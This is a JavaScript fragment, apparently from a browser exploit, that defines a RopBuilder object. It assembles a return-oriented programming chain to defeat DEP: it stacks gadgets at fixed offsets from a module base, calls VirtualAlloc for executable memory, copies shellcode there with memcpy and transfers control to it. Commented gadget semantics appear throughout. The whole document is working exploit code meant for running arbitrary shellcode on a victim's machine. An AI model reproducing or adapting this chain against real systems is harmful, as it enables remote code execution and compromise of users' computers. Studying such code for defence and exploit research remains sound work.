var RopBuilder = function(informer, addresses, scLength) {
    this.rop = new Uint32Array(0x1000);
    this.ropAddress = informer.leakRopAddress(this.rop);
    this.base = addresses['base'];
    this.virtualAlloc = addresses['virtualAlloc'];
    this.memcpy = addresses['memcpy'];
    this.scAddr = addresses['shellcode'];
    this.scLength = scLength;
};

// Build the ROP chain to bypass DEP
RopBuilder.prototype.buildRop = function() {
    // ROP chain (rets in comments are omitted)
    // we perform:
    // (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
    // memcpy(EAX, shellcode, shellcodeLen)
    // (void(*)())EAX()
    var offs = 0x30/4;                                 // offset to chain after CALL [EAX+0x30]
    this.rop[0] = this.base + 0x1ff6;                  // ADD ESP, 0x30;
    this.rop[offs + 0x0] = this.base + 0x1ea1e;        // XCHG EAX, ESP; <-- first gadget called
    this.rop[offs + 0x1] = this.virtualAlloc;          // allocate RWX mem (address avail. in EAX)
    this.rop[offs + 0x2] = this.base + 0x10e9;         // POP ECX; => pop the value at offs + 0x7
    this.rop[offs + 0x3] = 0;                          // lpAddress
    this.rop[offs + 0x4] = 0x4000;                     // dwSize (0x4000)
    this.rop[offs + 0x5] = 0x1000;                     // flAllocationType (MEM_COMMIT)
    this.rop[offs + 0x6] = 0x40;                       // flProtect (PAGE_EXECUTE_READWRITE)
    this.rop[offs + 0x7] = this.ropAddress + (offs+0xe)*4;  // points to memcpy's dst param (*2)
    this.rop[offs + 0x8] = this.base + 0x1c743;        // MOV [ECX], EAX; => set dst to RWX mem
    this.rop[offs + 0x9] = this.base + 0x10e9;         // POP ECX;
    this.rop[offs + 0xa] = this.ropAddress + (offs+0xd)*4;  // points to (*1) in chain
    this.rop[offs + 0xb] = this.base + 0x1c743;        // MOV [ECX], EAX; => set return to RWX mem
    this.rop[offs + 0xc] = this.memcpy;
    this.rop[offs + 0xd] = 0xffffffff;                 // (*1): ret addr to RWX mem filled at runtime
    this.rop[offs + 0xe] = 0xffffffff;                 // (*2): dst for memcpy filled at runtime
    this.rop[offs + 0xf] = this.scAddr;                // shellcode src addr to copy to RWX mem (param2)
    this.rop[offs + 0x10] = this.scLength;             // length  of shellcode (param3)
};

